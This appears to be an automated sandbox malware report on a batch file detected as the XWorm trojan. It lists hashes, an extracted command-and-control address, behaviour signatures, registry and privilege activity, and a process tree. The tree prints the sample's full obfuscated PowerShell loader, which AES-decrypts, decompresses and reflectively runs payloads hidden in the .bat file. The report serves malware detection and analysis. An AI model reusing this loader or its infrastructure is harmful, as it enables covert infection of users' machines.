Analysis
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max time kernel
148s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
02/03/2025, 03:38
Static task
static1
Behavioral task
behavioral1
Sample
VClient3.11.bat
Resource
win7-20240729-en
General
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Target
VClient3.11.bat
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Size
422KB
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MD5
869440ffbff098f2805f2bc6ddd1a9f5
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SHA1
85bac325a849358f534772363d8d3b5b7f7e91c7
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SHA256
18baa5efa951d971177b202c4e92aea450f1fd7ed13b5c629e3d68340fd0a4e9
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SHA512
5754c683da58fc952f804eff82cf4aedc4fdd2ea9e38a1c534ae4b894f58926ffdd13645ed781ad4fdc7318e705a03ec67edc47dc90a0619056618d18df3815a
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SSDEEP
12288:WaixzMk1buOdyDvE79qIGvL9PmaOkweC18n1x:Waixf1buOQvExqZdlOkwe+wx
Malware Config
Extracted
xworm
operates-rna.with.playit.plus:4377
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Install_directory
%LocalAppData%
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install_file
XClient2.0.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/3132-149-0x000002D674600000-0x000002D674658000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 1 IoCs
flow pid Process 25 3132 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2388 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation WScript.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 24 ip-api.com -
Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C01037265568" svchost.exe -
Modifies registry class 30 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings powershell.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133853603676332337" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133853604473675762" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133853604475238809" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133853603646175523" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133842801871803473" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133842801874147140" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133853603341019481" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133853604042581902" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133853604466956887" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133853603220719930" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133853604083519366" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133853603621488465" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133853603706332321" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133853604490082313" svchost.exe -
Suspicious behavior: EnumeratesProcesses 40 IoCs
pid Process 1576 powershell.exe 1576 powershell.exe 2388 powershell.exe 2388 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe 3132 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1576 powershell.exe Token: SeDebugPrivilege 2388 powershell.exe Token: SeIncreaseQuotaPrivilege 2388 powershell.exe Token: SeSecurityPrivilege 2388 powershell.exe Token: SeTakeOwnershipPrivilege 2388 powershell.exe Token: SeLoadDriverPrivilege 2388 powershell.exe Token: SeSystemProfilePrivilege 2388 powershell.exe Token: SeSystemtimePrivilege 2388 powershell.exe Token: SeProfSingleProcessPrivilege 2388 powershell.exe Token: SeIncBasePriorityPrivilege 2388 powershell.exe Token: SeCreatePagefilePrivilege 2388 powershell.exe Token: SeBackupPrivilege 2388 powershell.exe Token: SeRestorePrivilege 2388 powershell.exe Token: SeShutdownPrivilege 2388 powershell.exe Token: SeDebugPrivilege 2388 powershell.exe Token: SeSystemEnvironmentPrivilege 2388 powershell.exe Token: SeRemoteShutdownPrivilege 2388 powershell.exe Token: SeUndockPrivilege 2388 powershell.exe Token: SeManageVolumePrivilege 2388 powershell.exe Token: 33 2388 powershell.exe Token: 34 2388 powershell.exe Token: 35 2388 powershell.exe Token: 36 2388 powershell.exe Token: SeIncreaseQuotaPrivilege 2388 powershell.exe Token: SeSecurityPrivilege 2388 powershell.exe Token: SeTakeOwnershipPrivilege 2388 powershell.exe Token: SeLoadDriverPrivilege 2388 powershell.exe Token: SeSystemProfilePrivilege 2388 powershell.exe Token: SeSystemtimePrivilege 2388 powershell.exe Token: SeProfSingleProcessPrivilege 2388 powershell.exe Token: SeIncBasePriorityPrivilege 2388 powershell.exe Token: SeCreatePagefilePrivilege 2388 powershell.exe Token: SeBackupPrivilege 2388 powershell.exe Token: SeRestorePrivilege 2388 powershell.exe Token: SeShutdownPrivilege 2388 powershell.exe Token: SeDebugPrivilege 2388 powershell.exe Token: SeSystemEnvironmentPrivilege 2388 powershell.exe Token: SeRemoteShutdownPrivilege 2388 powershell.exe Token: SeUndockPrivilege 2388 powershell.exe Token: SeManageVolumePrivilege 2388 powershell.exe Token: 33 2388 powershell.exe Token: 34 2388 powershell.exe Token: 35 2388 powershell.exe Token: 36 2388 powershell.exe Token: SeIncreaseQuotaPrivilege 2388 powershell.exe Token: SeSecurityPrivilege 2388 powershell.exe Token: SeTakeOwnershipPrivilege 2388 powershell.exe Token: SeLoadDriverPrivilege 2388 powershell.exe Token: SeSystemProfilePrivilege 2388 powershell.exe Token: SeSystemtimePrivilege 2388 powershell.exe Token: SeProfSingleProcessPrivilege 2388 powershell.exe Token: SeIncBasePriorityPrivilege 2388 powershell.exe Token: SeCreatePagefilePrivilege 2388 powershell.exe Token: SeBackupPrivilege 2388 powershell.exe Token: SeRestorePrivilege 2388 powershell.exe Token: SeShutdownPrivilege 2388 powershell.exe Token: SeDebugPrivilege 2388 powershell.exe Token: SeSystemEnvironmentPrivilege 2388 powershell.exe Token: SeRemoteShutdownPrivilege 2388 powershell.exe Token: SeUndockPrivilege 2388 powershell.exe Token: SeManageVolumePrivilege 2388 powershell.exe Token: 33 2388 powershell.exe Token: 34 2388 powershell.exe Token: 35 2388 powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3332 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 228 wrote to memory of 224 228 cmd.exe 88 PID 228 wrote to memory of 224 228 cmd.exe 88 PID 228 wrote to memory of 1576 228 cmd.exe 89 PID 228 wrote to memory of 1576 228 cmd.exe 89 PID 1576 wrote to memory of 2388 1576 powershell.exe 90 PID 1576 wrote to memory of 2388 1576 powershell.exe 90 PID 1576 wrote to memory of 2852 1576 powershell.exe 95 PID 1576 wrote to memory of 2852 1576 powershell.exe 95 PID 2852 wrote to memory of 588 2852 WScript.exe 97 PID 2852 wrote to memory of 588 2852 WScript.exe 97 PID 588 wrote to memory of 5024 588 cmd.exe 99 PID 588 wrote to memory of 5024 588 cmd.exe 99 PID 588 wrote to memory of 3132 588 cmd.exe 100 PID 588 wrote to memory of 3132 588 cmd.exe 100 PID 3132 wrote to memory of 3332 3132 powershell.exe 55 PID 3132 wrote to memory of 3348 3132 powershell.exe 67 PID 3132 wrote to memory of 2752 3132 powershell.exe 46 PID 3132 wrote to memory of 1352 3132 powershell.exe 23 PID 3132 wrote to memory of 2528 3132 powershell.exe 43 PID 3132 wrote to memory of 2920 3132 powershell.exe 68 PID 3132 wrote to memory of 2328 3132 powershell.exe 41 PID 3132 wrote to memory of 2520 3132 powershell.exe 42 PID 3132 wrote to memory of 1332 3132 powershell.exe 22 PID 3132 wrote to memory of 736 3132 powershell.exe 14 PID 3132 wrote to memory of 1720 3132 powershell.exe 29 PID 3132 wrote to memory of 2892 3132 powershell.exe 51 PID 3132 wrote to memory of 1308 3132 powershell.exe 21 PID 3132 wrote to memory of 1504 3132 powershell.exe 75 PID 3132 wrote to memory of 1108 3132 powershell.exe 18 PID 3132 wrote to memory of 1600 3132 powershell.exe 27 PID 3132 wrote to memory of 2876 3132 powershell.exe 49 PID 3132 wrote to memory of 2676 3132 powershell.exe 45 PID 3132 wrote to memory of 2236 3132 powershell.exe 40 PID 3132 wrote to memory of 1884 3132 powershell.exe 32 PID 3132 wrote to memory of 772 3132 powershell.exe 8 PID 3132 wrote to memory of 896 3132 powershell.exe 11 PID 3132 wrote to memory of 2060 3132 powershell.exe 37 PID 3132 wrote to memory of 952 3132 powershell.exe 12 PID 3132 wrote to memory of 1052 3132 powershell.exe 17 PID 3132 wrote to memory of 2036 3132 powershell.exe 34 PID 3132 wrote to memory of 1732 3132 powershell.exe 30 PID 3132 wrote to memory of 1044 3132 powershell.exe 16 PID 3132 wrote to memory of 3604 3132 powershell.exe 96 PID 3132 wrote to memory of 1236 3132 powershell.exe 20 PID 3132 wrote to memory of 1432 3132 powershell.exe 26 PID 3132 wrote to memory of 1824 3132 powershell.exe 36 PID 3132 wrote to memory of 2024 3132 powershell.exe 33 PID 3132 wrote to memory of 1028 3132 powershell.exe 15 PID 3132 wrote to memory of 2800 3132 powershell.exe 48 PID 3132 wrote to memory of 1616 3132 powershell.exe 28 PID 3132 wrote to memory of 1220 3132 powershell.exe 19 PID 3132 wrote to memory of 4768 3132 powershell.exe 71 PID 3132 wrote to memory of 1800 3132 powershell.exe 31 PID 3132 wrote to memory of 1400 3132 powershell.exe 25 PID 3132 wrote to memory of 4748 3132 powershell.exe 65 PID 3132 wrote to memory of 2972 3132 powershell.exe 52 PID 3132 wrote to memory of 2180 3132 powershell.exe 39 PID 3132 wrote to memory of 3360 3132 powershell.exe 56 PID 3132 wrote to memory of 796 3132 powershell.exe 72 PID 3132 wrote to memory of 3552 3132 powershell.exe 57 PID 3132 wrote to memory of 1384 3132 powershell.exe 24 PID 3132 wrote to memory of 1776 3132 powershell.exe 35 PID 3132 wrote to memory of 1916 3132 powershell.exe 102 PID 772 wrote to memory of 4100 772 svchost.exe 106
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:4100
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:3216
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:1012
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:2904
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:4200
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:3036
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:588
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:3956
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:4252
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:1524
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:1512
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C:\Windows\system32\BackgroundTaskHost.exe"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider2⤵PID:5024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1384
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2024
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:1824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2060
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2180
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2236
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2972
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3332 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:228 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C13MerJf76R1DFIOGLoO10xEJRdtouLHDV1tgJ/4w50='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('See+TWm/7iu6WCsg7gNt1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $snUzJ=New-Object System.IO.MemoryStream(,$param_var); $lTkza=New-Object System.IO.MemoryStream; $UKwbD=New-Object System.IO.Compression.GZipStream($snUzJ, [IO.Compression.CompressionMode]::Decompress); $UKwbD.CopyTo($lTkza); $UKwbD.Dispose(); $snUzJ.Dispose(); $lTkza.Dispose(); $lTkza.ToArray();}function execute_function($param_var,$param2_var){ $Oejaz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xiCYv=$Oejaz.EntryPoint; $xiCYv.Invoke($null, $param2_var);}$TAeoL = 'C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat';$host.UI.RawUI.WindowTitle = $TAeoL;$Cruwh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TAeoL).Split([Environment]::NewLine);foreach ($luPpZ in $Cruwh) { if ($luPpZ.StartsWith('afBvfWMFjSuStgRofcsT')) { $RHTbA=$luPpZ.Substring(20); break; }}$payloads_var=[string[]]$RHTbA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:224
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"3⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1576 -
